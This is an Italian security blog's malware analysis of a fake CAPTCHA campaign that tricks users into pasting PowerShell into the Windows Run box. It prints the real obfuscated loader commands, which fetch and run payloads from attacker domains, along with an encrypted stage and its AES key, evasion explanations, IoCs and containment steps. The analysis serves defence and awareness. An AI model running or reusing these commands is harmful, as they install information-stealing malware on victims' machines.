back to top

Fake CAPTCHA: quando il test di sicurezza diventa una minaccia

Introduzione

Il phishing è una delle minacce informatiche più diffuse e rappresenta uno dei metodi più utilizzati dagli attaccanti per compromettere dati e sistemi. Secondo il Verizon Data Breach Investigations Report (DBIR) 2024, il 68% delle violazioni di sicurezza coinvolge un elemento umano, come un attacco di ingegneria sociale o un errore di configurazione.

Nell’ultimo decennio il phishing ha guadagnato popolarità come vettore iniziale di attacco, superando exploit più tecnici. Secondo il report IBM X-Force Threat Intelligence Index 2023 il suo utilizzo è cresciuto in modo significativo dal 2019 in poi. Le ragioni principali di questa tendenza includono le seguenti plausibili cause:

  • Gli exploit zero-day sono costosi e difficili da reperire
  • Le difese aziendali sono migliorate grazie a strumenti come EDR, XDR e patching, riducendo l’efficacia degli attacchi basati su vulnerabilità software
  • Il fattore umano resta l’anello debole: senza una formazione adeguata, le persone sono il bersaglio più semplice da colpire

D’altro canto il phishing si è evoluto in un attacco multicanale, sfruttando diversi strumenti di comunicazione per ingannare le vittime e indurle a rivelare credenziali, installare malware o eseguire azioni dannose. Il phishing è in continua evoluzione e si adatta alle nuove tecnologie e ai comportamenti degli utenti. Il phishing non si limita più alle email, ma si diffonde attraverso SMS (smishing), chiamate telefoniche (vishing), social media e persino CAPTCHA falsi.

Di seguito verrà approfondito il tema dei fake CAPTCHA, analizzando un caso reale e i rischi ad esso associati. Prima di entrare nel dettaglio, però, facciamo un passo indietro per capire cos’è un CAPTCHA.

Che cosa è un CAPTCHA?

Elementor #14068
Google reCAPTCHA

Il CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) è un sistema di sicurezza progettato per distinguere tra esseri umani e bot. Funziona presentando test, immagini o puzzle che solitamente solo un umano può risolvere. Il suo scopo principale è contrastare attività automatiche dannose, come spam, attacchi automatizzati e altri abusi online.

Che cosa è un fake CAPTCHA?

Elementor #14068
Fake CAPTCHA che richiede di scansionare un QR Code
Elementor #14068
Fake CAPTCHA che richiede di eseguire dei comandi

A partire da agosto 2024, sono state rilevate campagne di attacco in cui alcuni hacker hanno iniziato a creare CAPTCHA fasulli per ingannare le vittime e indurle a scaricare malware o eseguire azioni dannose.

I fake CAPTCHA sfruttano un bias cognitivo legato alla fiducia: gli utenti, abituati a completarli su numerose interfacce familiari, raramente sospettano che possano essere falsi.

Diversi studi hanno dimostrato come queste campagne di phishing vengano utilizzate per distribuire i malware Lumma Stealer e Amadey Trojan. Questi attacchi si diffondono su una vasta gamma di siti, tra cui piattaforme di giochi craccati, servizi di condivisione file, scommesse online e siti di streaming illegittimi.

Come distinguere un fake CAPTCHA da uno autentico?

I CAPTCHA autentici non prevedono reindirizzamenti o download automatici e richiedono specifiche interazioni da parte dell’utente:

  • Checkbox “I’m not a robot”
  • Selezionare immagini (es. semafori, autobus)
  • Inserire un codice alfanumerico

Al contrario, i fake CAPTCHA spesso presentano un design poco curato, con immagini di bassa qualità, e richiedono all’utente di eseguire azioni insolite:

  • Scansionare un QR Code
  • Eseguire dei comandi sul sistema dell’utente
  • Inserire dati sensibili o credenziali

e potrebbero:

  • Reindirizzarti su altri siti dopo aver completato la verifica
  • Scaricare automaticamente un file (.exe, .apk, .zip, ecc.)

Case study su un fake CAPTCHA

Analizzando i log dell’antivirus di un cliente della nostra azienda, mi sono imbattuta in un tentativo di accesso a un sito malevolo che presentava un fake CAPTHA, progettato per indurre l’utente a eseguire inconsapevolmente comandi dannosi. L’antivirus ha bloccato l’accesso alla risorsa, ma la tecnica utilizzata dall’attaccante per ingannare la vittima ha attirato la mia attenzione, spingendomi ad approfondire ulteriormente il caso. 

Di conseguenza, ho analizzato il link nella sandbox pubblica ANY.RUN. Il report completo è consultabile cliccando qui. L’analisi è stata eseguita su un sistema Windows 10 Professional (build 19045, 64 bit) con la seguente versione di Microsoft Edge: 122.0.2365.59.

Il sito mostra un Fake CAPTCHA che dopo aver premuto sul tasto “I’m not a robot” chiede all’utente di:

  1.  Premere Windows + R (che apre la finestra “Esegui” su Windows)
  2.  Incollare il contenuto con CTRL + V
  3.  Premere Invio
Elementor #14068
Fake CAPTCHA
Elementor #14068
Behavioral Graph
Dall’analisi emerge che, non appena l’utente interagisce con la pagina web cliccando su “I’m not a robot’, viene copiato il seguente comando:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe -w 1 -C 
"$l='https://iankaxo.xyz/mikona-guba.m4a';
Invoke-CimMethod -ClassName Win32_Process -MethodName Create 
-Arguments @{CommandLine=('ms' + 'hta' + '.exe '+$l)}" 
# ✅ ''I am not a robot: CAPTCHA Verification UID: 7811''
Si osserva come il commento # ✅ ”I am not a robot: CAPTCHA Verification UID: 7811” è progettato per ingannare la vittima e far sembrare che il comando faccia parte di un normale processo di verifica CAPTCHA, inducendo la vittima a fidarsi e ad eseguirlo inconsapevolmente. 

Il comando avvia una sessione di PowerShell sulla macchina della vittima con esecuzione offuscata (-w 1) per ridurre la visibilità del terminale. Successivamente mshta.exe scarica il file"mikona-guba.m4a", che nasconde un payload malevolo.

Per eseguire il codice senza generare log e aggirare i tool di sicurezza, l’attaccante usa Invoke-CimMethod per creare un nuovo processo, evitando il monitoraggio di eseguibili noti come e cmd.exe o powershell.exe.

L’uso di mshta.exe sfrutta il fatto che è un processo legittimo di Microsoft e raramente bloccato dagli antivirus, a meno di configurazioni specifiche. Inoltre, eseguendo il payload direttamente da un URL malevolo senza scrivere su disco, l’attacco risulta fileless e più difficile da rilevare dai software di sicurezza basati su firme.

Infine, il comando mshta.exe viene offuscato tramite concatenazione dinamica (CommandLine=('ms' + 'hta' + '.exe '+$l))eludendo i rilevamenti basati su pattern statici.

In seguito viene eseguito il seguente comando che ha lo scopo di eseguire un payload cifrato.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 1 -ep Unrestricted -nop 
function wSrNgHEjW($VRDpQNBH){-split($VRDpQNBH -replace '..', '0x$& ')};
$aOFK=wSrNgHEjW('0BD7B2DD9100ADE103EE5DECAF0349E6845B6AC04135C868B2D14858E98F3557532EEE53A277A1355F72367493506CCCF76AC4B1069D1479B6433F4302F5DF1CFC5BE5A9B073D22A0821AF9B5377A701C86F106C3196D5014A702B775F8D41A481A953F1BEF52121CD2CC6B78443BFA0B0E03FF1788E75B1227DBED4E698565B45F7C0A686178E2BA1724FAC282100AF1E4E761F58A868C415066DC2718949268CC75B5FB9CAB7E958B289393FE9695F696FF9409AAB262A1577D6C028396F60F710B1425D4AFE364CF5C6BE9105C3F5C6E2D771D5C9FC166AEEA8346F506205220EFF6F074D5C89CD8E989CC6E2D1C40B37EB27100707894CA76E305045122A51CC45DEBF8DC4B653B1DAEF13D70185C435C8D8E80F6555DB9F29B25781EEEEB646A69D496FF27F4A651E4A5D8B672892241BB4FA9BAA6DE83AEED99C004661433F33EF83746ABDB6087D8BB82CC642A37E8D06C173BF6D185485C65833642ED8B75C66F48CB96B7115EB57C57738F7DEA78CA8C65B125F16B74607CC59637E852794BB8C1BFD33E99C7B134DAF8D18D918A63C23D8ABE59D3DA8DCA58B2FCE77E3659866D1EF551E44A0B8DE729F50B6BB276782E6614782EC0F79F1E65ACCBEDDEAA6368AD73500ACD01B61BC1DF61A13012DE9601055CE05B5597E593D1795FD9BA8615A231930B09DE0F31C19306913AEE7C54D1D8EFD716CE006DCE1D542B0F9D932F2685D939C2C292DBB4845ECF6730F2330B9C7AABDBDEAFF7082BBA61A81F0E18A891ED5FF46CC667F110089D9FD07D56D8C26BF8644146A8B375308E1977F63A8E44623A7D2F6B40D168957F4D402B7AB7E84E72CDBC5EF0AE096E424267F43045AB3CD406422B1C50B4C2C2E73319164BB3F36773355AE1AF92799BD967D79630B482AA7777474D48173F8E59282070D30C0A4AC4C8DBFAB25EE1967AA7D1F69C6EBC322AF7FA9AC5C713C87A74FEECBC8CAC5B2D8FB672F452DA3C673AFD67BCC7F89491FE6E2CE8C4EA8D43B9D3A7F0393B7E90B71D0D6DE697506BD3FEBB4B823BC1B20D5A684987C94D0EAC504873DF02C51A342F226D8F3CBE9F39D78843A585C44D92B5DEA1C5D5DE5109BA6F2791FBA824BABD01F3095AA192348628A21454552E99A068B41C273E7930F33E3B2DD96BDD0AE7A2D4DB02EDB818B1D2772452241C645A2BD66BA1D1E71EA97B63577592948D54AC35C4FE0DE3B17BE744C26FF420D11D8288FA4498B2720791B34F8AC4DF7AFC4C07F3F088837FD887A9EAEB6600DA803B0FDAF8FA5EC94635F69C0F948572A763FE73554479478AECC6A79F283A31929274967568667498E21C7EADF2B59163CFB6D9089F252FC189F02DEE822FE427454C056991520CF226999C67288B0AC2D332F46');
$BibpyHDM=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor(
(wSrNgHEjW('747174685470416C6C4C4D6E52767748')),[byte[]]::new(16)).TransformFinalBlock($aOFK,0,$aOFK.Length));
& $BibpyHDM.Substring(0,3) $BibpyHDM.Substring(3)

Anche questo comando presenta parametri di offuscamento e in primo luogo definisce la funzione wSrNgHEjW, il cui scopo è convertire una stringa esadecimale in un array di byte. Questa funzione è fondamentale per la successiva decodifica del payload cifrato. La stringa esadecimale contenuta nella variabile $aOFK rappresenta il codice che verrà decriptato prima di essere eseguito.

La decifratura avviene utilizzando l’algoritmo di crittografia simmetrico AES. Il codice genera un oggetto di crittografia e applica un decryptor, utilizzando una chiave hardcoded (747174685470416C6C4C4D6E52767748). Il risultato della decifratura è memorizzato nella variabile $BibpyHDM, che ora contiene una stringa di testo con un comando eseguibile.

L’ultima operazione dello script è l’esecuzione di questo comando. Per farlo, estrae i primi tre caratteri della stringa $BibpyHDM e li usa come nome dell’eseguibile, mentre il resto della stringa viene passato come argomento. Questo permette di eseguire codice arbitrario in modo dinamico, evitando di lasciare tracce.

Infine viene avviata un’altra istanza di PowerShell con parametri di offuscamento, eseguendo il seguente comando.

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -nop -Command popd;
Set-Variable Z8 (.$ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).
GetCommand($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).
(($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|
Where{(GV _).Value.Name-clike '*om*e'}).Name).
Invoke('N*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)
Net.WebClient); 
Set-Item Variable:\bH 'https://mapped01.sportsspot-moviebuffs.com/gubaa01.png';
(Get-Variable Z8 -ValueOnl).((((Get-Variable Z8 -ValueOnl)|Get-Member)|Where{(GV _).Value.Name-clike 'D*g'}).Name).Invoke((Get-Variable bH -ValueOnl))|&(COMMAND *ke-*pr*)

Il comando inizia con la creazione della variabile Z8, che contiene un oggetto WebClient. Questo componente è comunemente utilizzato per effettuare richieste HTTP e scaricare file da Internet. Tuttavia, invece di chiamarlo direttamente (New-Object Net.WebClient), lo script utilizza una serie di riferimenti indiretti al ExecutionContext, recuperando dinamicamente il comando necessario. Questa tecnica di offuscamento inganna i sistemi di rilevamento basati su firme. 

Successivamente, la variabile bH viene definita con un URL malevolo: "https://mapped01.sportsspot-moviebuffs.com/gubaa01.png". Il file scaricato, apparentemente un’immagine PNG, in realtà contiene un payload eseguibile nascosto.

Il payload viene poi scaricato ed eseguito tramite un’operazione dinamica. Lo script recupera il metodo di download dell’oggetto WebClient senza chiamarlo direttamente, utilizzando riferimenti indiretti e wildcard (-clike 'D*g') per oscurare il comando reale. Dopo il download, il contenuto viene passato a un altro comando (&(COMMAND *ke-*pr*)), che esegue il codice scaricato. L’uso di &(COMMAND) è un’ulteriore tecnica di offuscamento che evita chiamate dirette a funzioni note come Invoke-Expression o Start-Process, rendendo il comportamento dello script più difficile da individuare.

L’intero attacco è progettato per essere fileless, eseguendo il codice direttamente dalla memoria senza scriverlo su disco.

L’analisi si conclude con l’esecuzione del payload malevolo. L’obiettivo dell’attaccante è ottenere il controllo remoto del sistema compromesso e garantirne la persistenza, facilitando future esecuzioni di codice malevolo. Questo intento è evidente dalle modifiche apportate a specifiche chiavi di registro visibili nella tabella sottostante.

Chiave di Registro Valore creato Obiettivo
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A Contenuto: “C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe” –no-startup-window –win-session-start Avvio automatico di Edge per garantire persistenza sul sistema
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon state = 1 failed_count = 0 Garantire che determinate configurazioni restino attive anche dopo un riavvio
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS EnableFileTracing = 0 EnableAutoFileTracing = 0 EnableConsoleTracing = 0 FileTracingMask = “” ConsoleTracingMask = “” MaxFileSize = 1048576 FileDirectory = %windir%\tracing Disabilita il tracciamento delle attività di PowerShell nei log del sistema
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History CachePrefix = “” Altera il comportamento della cache del browser per evitare il salvataggio di tracce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062} LastWasDefault = D34E88849A8C2F00 Forza l’uso di Edge come browser predefinito e blocca gli aggiornamenti automatici

Indicatori di Compromissione (IoC)

CategoriaDettaglio
URL di campionefirststepsbizz.ink/675843469dc953769e3d80b0
File droppati (SHA-256)C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\a46fe580-65de-491c-9139-26214a9ea8a5.tmp
cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4
C:\Users\admin\AppData\Local\Temp\chrome_Unpacker_BeginUnzipping6236_522568980\page_embed_script.js
73e3888ccbc8e0425c3d2f8d1e6a7211f7910800eede7b1e23ad43d3b21173f7
C:\Users\admin\AppData\Local\Temp\chrome_Unpacker_BeginUnzipping6236_522568980\service_worker_bin_prod.js
be65fdd71cd523b7e759d918e04aa2dd7cbe5f907570bb5bc367456796aa888a
C:\Users\admin\AppData\Local\Temp\chrome_Unpacker_BeginUnzipping6236_522568980\offscreendocument_main.js
f6cc11d4a3a43b11d9408e9d2366d6388bf8733d68188ccd2969f7492d14b857
C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log
47a390b1c024d1f1b32ed63b62bca008b7f092a90703a022d7bdc9f40abefe98
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
5f7907a02494b3c95341b7856e98501bea2bf342bacc28a16c5905f19b10c760
Richieste DNSfirststepsbizz.ink
gubanompostra.fly.storage.tigris.dev ❗
iankaxo.xyz
mapped01.sportsspot-moviebuffs.com
Indirizzi IP Contattati178.162.133.193
149.248.213.147 ❗
40.127.240.158
224.0.0.251
172.67.129.128
   

Procedura di contenimento e rimozione del malware

Step Dettagli
Isolamento del dispositivo Disconnetti il dispositivo dalla rete aziendale (Wi-Fi o Ethernet) per interrompere eventuali comunicazioni con server C2
Bloccare domini malevoli Blocca i seguenti domini nel firewall/proxy: iankaxo.xyz/mikona-guba.m4a, mapped01.sportsspot-moviebuffs.com/gubaa01.png
Analisi delle connessioni Verifica connessioni a IP o domini sospetti. Usa netstat -ano per identificare connessioni malevole
Controllo dei processi Usa il Task Manager per terminare processi sospetti. Per un’analisi avanzata, utilizza MAGNET RAM Capture per individuare processi fileless
Verifica del Task Scheduler Individua ed elimina eventi pianificati sospetti che potrebbero eseguire codice malevolo automaticamente
Ripristino delle chiavi di registro Assicurati di ripristinare eventuali modifiche alle chiavi di registro e alle policy di PowerShell
Scansione antivirus Esegui una scansione approfondita con un antivirus professionale per rilevare e rimuovere eventuali minacce
Analisi post-infezione Controlla se dati sensibili sono stati esfiltrati. Analizza i log di Windows Event Viewer per eventi ID 4624 (accesso riuscito) e 4672 (privilegi speciali)
Reset credenziali Se sospetti furto di credenziali, reimposta immediatamente le password degli account compromessi
Monitoraggio rete Utilizza strumenti di analisi di rete per monitorare in tempo reale eventuali tentativi di connessione malevoli
Ripristino da backup Se possibile, ripristina il sistema da un backup precedente alla compromissione
Aggiornamenti di sicurezza Aggiorna Windows e tutti i software installati per ridurre il rischio di nuove compromissioni
 

Quali saranno le prossime evoluzioni dei fake CAPTCHA?

In futuro, i fake CAPTCHA potrebbero diffondersi sempre di più, poiché la maggior parte degli utenti li considera un processo legittimo e non li associa ancora a un attacco di phishing. Inoltre, le tecniche di offuscamento rendono difficile accorgersi delle attività malevole in corso sul dispositivo.

Si pensi al tasso di successo che questi attacchi potrebbero raggiungere se venissero integrati direttamente in siti legittimi compromessi.

In un contesto digitale in continua evoluzione, è essenziale adottare un approccio critico e non fidarsi ciecamente di ciò che appare familiare. Verificare sempre la legittimità delle richieste online, prestare attenzione a possibili anomalie e rimanere aggiornati sulle nuove minacce sono la chiave per evitare di cadere vittima delle minacce informatiche. 

Fonti

  • https://www.verizon.com/business/resources/reports/dbir/
  • https://secure-iss.com/wp-content/uploads/2023/02/IBM-Security-X-Force-Threat-Intelligence-Index-2023.pdf
  • https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-08-28-IOCs-for-Lumman-Stealer-from-fake-human-captcha-copy-paste-script.txt
  • https://securelist.com/fake-captcha-delivers-lumma-amadey/114312/
  • https://darktrace.com/blog/amadey-info-stealer-exploiting-n-day-vulnerabilities